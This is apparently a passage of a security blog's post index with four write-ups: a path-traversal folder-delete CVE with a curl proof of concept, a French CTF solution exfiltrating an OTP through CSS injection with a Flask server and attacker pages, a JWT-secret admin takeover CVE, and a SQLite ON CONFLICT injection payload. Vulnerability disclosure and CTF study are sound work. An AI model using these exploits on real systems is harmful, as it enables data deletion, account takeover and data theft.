=\u0026gt; new Promise((resolve) =\u0026gt; purgeVectorCache(filename).then(() =\u0026gt; resolve(true)) ); purgePromises.push(rmVectorCache); } // Remove workspace document associations for (const workspace of workspaces) { const rmWorkspaceDoc = () =\u0026gt; new Promise((resolve) =\u0026gt; Document.removeDocuments(workspace, filenames).then(() =\u0026gt; resolve(true)) ); purgePromises.push(rmWorkspaceDoc); } await Promise.all(purgePromises.flat().map((f) =\u0026gt; f())); fs.rmSync(folderPath, { recursive: true }); // Delete root document and source files. return; } For example, if folderName contains something like ../../../../../../../tmp/, the fs.rmSync(folderPath, { recursive: true }) line of code will result in deleting the file /tmp folder.\nNow, this is a vulnerability because the function is called from this endpoint where an attacker fully control the name parameter of te request body.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 app.delete( \u0026#34;/system/remove-folder\u0026#34;, [validatedRequest], async (request, response) =\u0026gt; { try { const { name } = reqBody(request); await purgeFolder(name); response.sendStatus(200).end(); } catch (e) { console.log(e.message, e); response.sendStatus(500).end(); } } ); We can see that it directly calls purgeFolder with a fully controlled and unsanitized value, thus resulting in the deletion of an arbitrary folder (recursively) if we use ../ to do path traversal.\n💥 Proof of Concept Here is a proof of concept deleting the storage folder (it could be any folder) :\nCheck that the storage folder exists : Login into your account (you can skip this step if using a development environment) Execute the following request : Using curl : 1 2 3 4 5 6 # Replace with your token export TOKEN=\u0026#34;\u0026#34; curl --location --request DELETE \u0026#39;http://localhost:3001/api/system/remove-folder\u0026#39; \\ --header \u0026#39;Content-Type: application/json\u0026#39; \\ --header \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ --data \u0026#39;{\u0026#34;name\u0026#34; : \u0026#34;../../storage\u0026#34;}\u0026#39; You can also do it using POSTMAN :\nCheck that the folder folder has been deleted successfully : 🛠️ Fix suggestion Sanitize the name parameter of the request.\n🖊️ références You can find the report here and the CVE details here.\n","date":"2024-02-27T00:00:00Z","image":"https://raltheo.fr/p/cve-2024-0763/wordmark_hu15409d1bca6fc9f80f058c0a56c85c49_8884_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/cve-2024-0763/","title":"CVE-2024-0763 - Arbitrary Folder Delete"},{"content":"📝 Description On se retrouve face à un challenge où il faut exfiltré un code OTP (One Time Password) uniquement avec du CSS, car malgré une injection d\u0026rsquo;HTML les CSP (Content Security Policy) nous bloquent. Le code OTP change à chaque requête et seul le bot (grâce a ses cookies) peut enregistrer un user associé au code OTP.\n🔎 RECON HTML INJECTION A l\u0026rsquo;arrivé sur le site web du challenge je regarde les CSP :\n1 Content-Security-Policy : font-src \u0026#39;none\u0026#39;; object-src \u0026#39;none\u0026#39;; base-uri \u0026#39;none\u0026#39;; form-action \u0026#39;none\u0026#39;; script-src \u0026#39;self\u0026#39;; style-src \u0026#39;unsafe-inline\u0026#39; on remarque aussi qu\u0026rsquo;un script est chargé sur la page, le voici :\n1 2 3 4 5 6 7 8 9 10 const params = new URLSearchParams(location.search); const url = params.get(\u0026#39;page\u0026#39;); setTimeout(async () =\u0026gt; { if (!url) return; const message = await fetch(url).then(r =\u0026gt; r.text()); if (message.length \u0026gt; 6000000) return; document.querySelectorAll(\u0026#39;.message\u0026#39;)[0].innerHTML = message; document.querySelectorAll(\u0026#39;style\u0026#39;).forEach(s =\u0026gt; s.remove()); }, 10); Ok on peut observer que le script regarde si l\u0026rsquo;URL contient un param page. Si oui il fetch le contenu du param et mets la réponse dans la div avec la class .message. Juste après le script enlève toute les balises style.\nJe test avec une URL que je controle et on a bien notre HTML Injection.\nBYPASS LE REMOVE DES \u0026lt;STYLE\u0026gt; Après de longues recherches le ✨DOM Clobbering✨ me permet enfin de pouvoir mettre mes balises styles ! Grâce au ✨DOM Clobbering✨ il est possible de générer des variables globales dans le contexte JS avec les attributs id et name dans les balises HTML. On peut en quelque sorte écraser la valeur précédente.\n1 \u0026lt;form name=querySelectorAll\u0026gt;\u0026lt;/form\u0026gt; Une image vaut mille mots :\nMaintenant je peux mettre des balises style 🙂\nBYPASS DU OTP QUI CHANGE La valeur du OTP se trouve dans un input :\n1 \u0026lt;input type=\u0026#34;text\u0026#34; value=\u0026#34;\u0026lt;OTP\u0026gt;\u0026#34; disabled /\u0026gt; Souvent pour exfiltrer des données avec du CSS on s\u0026rsquo;y prend comme ça :\n1 2 3 input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); } Cette technique est bien mais dans notre cas elle ne fonctionne pas car à chaque requête la valeur du OTP change.\n✨bfache✨ (Back/forward cache)\nQuand on fais un retour en arrière sur un navigateur le cache est utilisé pour ne pas avoir a re fetch la page web. On va pouvoir utiliser ce cache pour bypass le changement de valeur.\nMaintenant il reste plus qu\u0026rsquo;à créer un exploit.\n💥 Proof of Concept Résumons :\nUn serveur pour send le CSS et recevoir les valeurs. Une page HTML qui open le site avec l\u0026rsquo;injection HTML et qui l\u0026rsquo;envoie sur une page qui fera un history.go(-1). Pour exfiltrer les données avec le CSS on crée un endpoint /test qui enregistre les caractères reçus dans un fichier.\nOn crée aussi un endpoint /exfil qui envoie le nouveau CSS avec les précédent caratères + chaque caractère de l\u0026rsquo;alphabet.\nOn oublie pas le header Cache-Control: no cache qui empéchera notre CSS d\u0026rsquo;être mis en cache.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import html from flask import Flask, jsonify, make_response from flask_cors import CORS import os app = Flask(__name__) CORS(app, origins=\u0026#39;*\u0026#39;) exfil_file =\u0026#34;saved_char.txt\u0026#34; url = \u0026#34;https://raltheo.serveo.net\u0026#34; @app.route(\u0026#39;/exfil\u0026#39;) def exfil(): html_content = \u0026#34;\u0026#34;\u0026#34;\u0026lt;form name=querySelectorAll\u0026gt;\u0026lt;/form\u0026gt;\u0026#34;\u0026#34;\u0026#34; alphabet = \u0026#34;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#34; data = str(open(exfil_file, \u0026#34;r\u0026#34;).read().strip()) for char in alphabet: html_content += f\u0026#34;\u0026lt;style\u0026gt;input[value^=\u0026#39;{data}{char}\u0026#39;]{{background-image: url(\u0026#39;{url}/test/{data}{char}\u0026#39;);}}\u0026lt;/style\u0026gt;\u0026#34; response = make_response(html_content) response.headers[\u0026#39;Cache-Control\u0026#39;] = \u0026#39;no-cache, no-store, must-revalidate\u0026#39; response.headers[\u0026#39;Pragma\u0026#39;] = \u0026#39;no-cache\u0026#39; response.headers[\u0026#39;Expires\u0026#39;] = \u0026#39;0\u0026#39; return response @app.route(\u0026#39;/test/\u0026lt;string:data\u0026gt;\u0026#39;) def save(data): open(exfil_file, \u0026#34;w\u0026#34;).write(str(data)) html_content = \u0026#34;\u0026lt;p\u0026gt;oui\u0026lt;/p\u0026gt;\u0026#34; response = make_response(html_content) response.headers[\u0026#39;Cache-Control\u0026#39;] = \u0026#39;no-cache, no-store, must-revalidate\u0026#39; response.headers[\u0026#39;Pragma\u0026#39;] = \u0026#39;no-cache\u0026#39; response.headers[\u0026#39;Expires\u0026#39;] = \u0026#39;0\u0026#39; return response if __name__ == \u0026#39;__main__\u0026#39;: app.run(debug=True, port=9000) Voici le code permettant d\u0026rsquo;ouvrir une nouvelle fenetre qu\u0026rsquo;on pourra par la suite manipuler :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Document\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; let css_injection = \u0026#34;https://quickstyle.chall.lac.tf/?page=https://raltheo.serveo.net/exfil\u0026amp;user=aa\u0026#34;; let victim = open(css_injection); for (let i = 1; i \u0026lt; 100; i++) { setTimeout(() =\u0026gt; { victim.location = \u0026#34;https://raltheo.serveo.net/goback.html\u0026#34;; }, i * 500); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Le code de la page sur laquelle on envoie le bot tous les 500ms qui fera un history.go(-1) afin d\u0026rsquo;utiliser le bfcache :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Document\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; setTimeout(() =\u0026gt; { history.go(-1); }, 100); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; On envoi notre index.html au bot et voilà on reçoit les caractères du OTP à chaque fois que le browser fais un backward et use le cache ! lactf{masterfu3_para7737_css_exf1l7ration}\nPS: apparement cette manière de solve le chall était unintended. J\u0026rsquo;ai aussi eu de la chance que le bot accepte les open (activé par default sur les bots puppeteer) et qu\u0026rsquo;il reste suffisament de temps pour que je puisse exfil les données.\nLa façon attendue était d\u0026rsquo;exfiltrer des trigrammes à l\u0026rsquo;aide du CSS. Plus de détails ici.\n","date":"2024-02-18T00:00:00Z","image":"https://raltheo.fr/p/quickstyle/lactf_hu8fa8ec787d177851d55c4855ca903f68_32431_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/quickstyle/","title":"LACTF - QuickStyle"},{"content":"📝 Description The endpoint api/system/update-env allows any authenticated users to change env variables of the back-end process. We will abuse this functionnality to change JWT_SECRET env variable (which is used to sign the JWT token).\n💥 Proof of Concept Imagine the following list of accounts is used : Login to the user (who is not admin) account and grab the jwt token in the localStorage (with the key : anythingllm_authToken ) The jwt token infos are (base64 decoded) :\n1 2 3 4 5 6 7 8 9 10 { \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } { \u0026#34;id\u0026#34;: 2, \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;iat\u0026#34;: 1694641865, \u0026#34;exp\u0026#34;: 1697233865 } Now go on Postman and send a POST request to http://localhost:3001/api/system/update-env with our JWT as Bearer token value and with the following json as body :\n1 {\u0026#34;JWTSecret\u0026#34;:\u0026#34;admintakeover\u0026#34;} Now go to jwt.io and put the JWT token, change the id and username, sign the JWT with the secret admintakeover Put this token in your localstorage and reload page, you should be admin (we can see i\u0026rsquo;m admin with the forged jwt token): 🖊️ références You can find the report here and the CVE details here.\n","date":"2023-09-14T00:00:00Z","image":"https://raltheo.fr/p/cve-2023-5833/wordmark_hu15409d1bca6fc9f80f058c0a56c85c49_8884_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/cve-2023-5833/","title":"CVE-2023-5833 - Admin account TakeOver"},{"content":"📝 Description On se retrouve face à une injection SQL 💉, notre but est de changer l\u0026rsquo;email pour un username donné (l\u0026rsquo;email et l\u0026rsquo;username sont définis UNIQUE du coup nous avons un conflit qui se crée car nous ne pouvons pas ajouter deux entrées avec le même username).\n💥 EXPLOITATION COMPRENDRE La première étape est de voir où est la SQLI, en regardant le code on peut voir que notre input est mis dans un INSERT :\n1 INSERT INTO superbad(country, email, username, password) VALUES(\u0026#39;Hawaii\u0026#39;, \u0026#39;McLovin@gmail.com\u0026#39;, \u0026#39;McLovin\u0026#39;, $pass) on peut voir aussi qu\u0026rsquo;un replace est effectué sur notre input :\n1 [0-9]|\u0026#39;|\u0026#34;|`|\\s nous n\u0026rsquo;avons donc pas le droit aux chiffres, aux \u0026lsquo;, \u0026ldquo;, ` et aux espaces. On sait aussi que c\u0026rsquo;est sous SQLITE3\non test quelques payloads pour essayer de ne plus avoir d\u0026rsquo;erreur, en testant :\n1 null)-- cela nous renvoie :\n1 2 3 { \u0026#34;ERROR\u0026#34;: \u0026#34;SqliteError: UNIQUE constraint failed: superbad.username\u0026#34; } 😀😀 c\u0026rsquo;est un bon début, on comprend qu\u0026rsquo;il va donc y avoir un conflit à cause du UNIQUE dans le CREATE TABLE puisque nos deux insert ont le même username.\non pourra donc ecrire du SQL ici :\n1 null)\u0026lt;inject_here\u0026gt;-- TROUVER COMMENT BYPASS L\u0026rsquo;ERREUR Après quelques recherches sur google incluant une injection SQL et cette erreur je ne trouve vraiment pas grand chose 💀. Après plusieurs minutes à tourner en rond je pars lire la documentation SQLITE\nEn lisant je tombe sur ON CONFLICT clause, ca me paraît intéressant !\nJe cherche un peu sur internet et je tombe sur ça Use INSERT ON CONFLICT to overwrite data, parfait je trouve que ça colle vraiment avec notre situation plus qu\u0026rsquo;a crée notre payload final !😈\nCRÉATION DU PAYLOAD FINAL on sait qu\u0026rsquo;on ne peux pas mettre d\u0026rsquo;espaces mais un bypass est de mettre des commentaires :\n1 SELECT * from test; =\u0026gt; SELECT/**/*/**/from/**/test; avec cette technique nous pouvons donc créer notre payload (avec on conflict) sans quotes, sans nombres et sans espaces !\nsi on applique la logique des exemples que nous avons pu voir sur les sites précédents on obtient :\n1 null)ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email/**/=/**/excluded.email;-- Concrètement ce code fais en sorte que si nous avons une erreur sur notre INSERT à cause du fait que deux values soient similaire il va exécuter le code apres le DO donc ici update la value de la row avec le même username avec l\u0026rsquo;email qu\u0026rsquo;on voulais de base ajouté.\nEn gros on ça transforme un peu notre INSERT en UPDATE.\n💥 Proof of Concept Comme expliqué ci-dessus avec ce payload je suis capable de changer l\u0026rsquo;email pour l\u0026rsquo;username McLovin 😎😎 :\n1 null)ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email/**/=/**/excluded.email;-- ","date":"2023-08-03T00:00:00Z","image":"https://raltheo.fr/p/sqlovin/dojo26_hu14cf36570a0aba75afc2088a281795db_458880_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/sqlovin/","title":"YWH DOJO#26 - SQLovin"}]